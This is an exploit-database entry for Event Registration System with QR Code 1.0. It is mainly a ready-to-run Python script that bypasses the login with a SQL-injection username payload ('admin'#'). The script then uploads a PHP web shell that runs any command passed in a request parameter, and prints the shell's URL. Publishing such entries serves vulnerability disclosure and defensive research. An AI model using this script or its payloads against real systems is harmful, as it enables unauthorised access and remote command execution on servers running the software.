Event Registration System With QR Code 1.0 Shell Upload

2021.07.28
Credit: Javier Olmedo
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Event Registration System with QR Code 1.0 - Authentication Bypass & RCE # Exploit Author: Javier Olmedo # Date: 27/07/2021 # Vendor: Sourcecodester # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event_0.zip # Affected Version: 1.0 # Category: WebApps # Platform: PHP # Tested on: Ubuntu Server & Windows 10 Pro import os, re, sys, argparse, requests from termcolor import cprint def banner(): os.system("cls") print(''' ___________ __ \_ _____/__ __ ____ _____/ |_ | __)_\ \/ // __ \ / \ __\\ | \\\\ /\ ___/| | \ | /_______ / \_/ \___ >___| /__| \/ \/ \/ Registration System --[Authentication Bypass and RCE]-- @jjavierolmedo ''') def get_args(): parser = argparse.ArgumentParser(description='Event - Authentication Bypass and RCE Exploit') parser.add_argument('-t', '--target', dest="target", required=True, action='store', help='Target url') parser.add_argument('-p', '--proxy', dest="proxy", required=False, action='store', help='Use proxy') args = parser.parse_args() return args def auth_bypass(s, proxies, url): data = { "username":"admin'#", "password":"" } r = s.post(url, data=data, proxies=proxies) if('{"status":"success"}' in r.text): cprint("[+] Authenticacion Bypass Success!\n", "green") return s else: cprint("[-] Authenticacion Bypass Error!\n", "red") sys.exit(0) def upload_shell(s, proxies, url): content = "<?php echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';?>" file = { 'img':('cmd.php',content) } data = { "name":"Event Registration System with QR Code - PHP", "short_name":"ERS-QR-PHP", } r = s.post(url, files=file, data=data, proxies=proxies) if('1' in r.text and r.status_code == 200): cprint("[+] Upload Shell Success!\n", "green") return s else: cprint("[-] Upload Shell Error!\n", "red") sys.exit(0) def get_shell_url(s, proxies, url): r = s.get(url, proxies=proxies) regex = '\_cmd.php"> (.*?)</a></li>' shell_name = re.findall(regex, r.text)[0] url_shell = "http://localhost/event/uploads/{shell_name}?cmd=whoami".format(shell_name=shell_name) cprint("[+] Use your shell --> {url_shell}\n".format(url_shell=url_shell), "green") def main(): banner() args = get_args() target = args.target proxies = {'http':'','https':''} if args.proxy: proxies = {'http':'{proxy}'.format(proxy=args.proxy),'https':'{proxy}'.format(proxy=args.proxy)} login_url = target + "/event/classes/Login.php?f=rlogin" upload_url = target + "/event/classes/SystemSettings.php?f=update_settings" shell_url = target + "/event/uploads/" s = requests.Session() s = auth_bypass(s, proxies, login_url) s = upload_shell(s, proxies, upload_url) s = get_shell_url(s, proxies, shell_url) if __name__ == "__main__": try: main() except KeyboardInterrupt: cprint("[-] User aborted session\n", "red") sys.exit(0) # Disclaimer # The information contained in this notice is provided without any guarantee of use or otherwise. # The redistribution of this notice is explicitly permitted for insertion into vulnerability # databases, provided that it is not modified and due credit is granted to the author. # The author prohibits the malicious use of the information contained herein and accepts no responsibility. # All content (c) # Javier Olmedo


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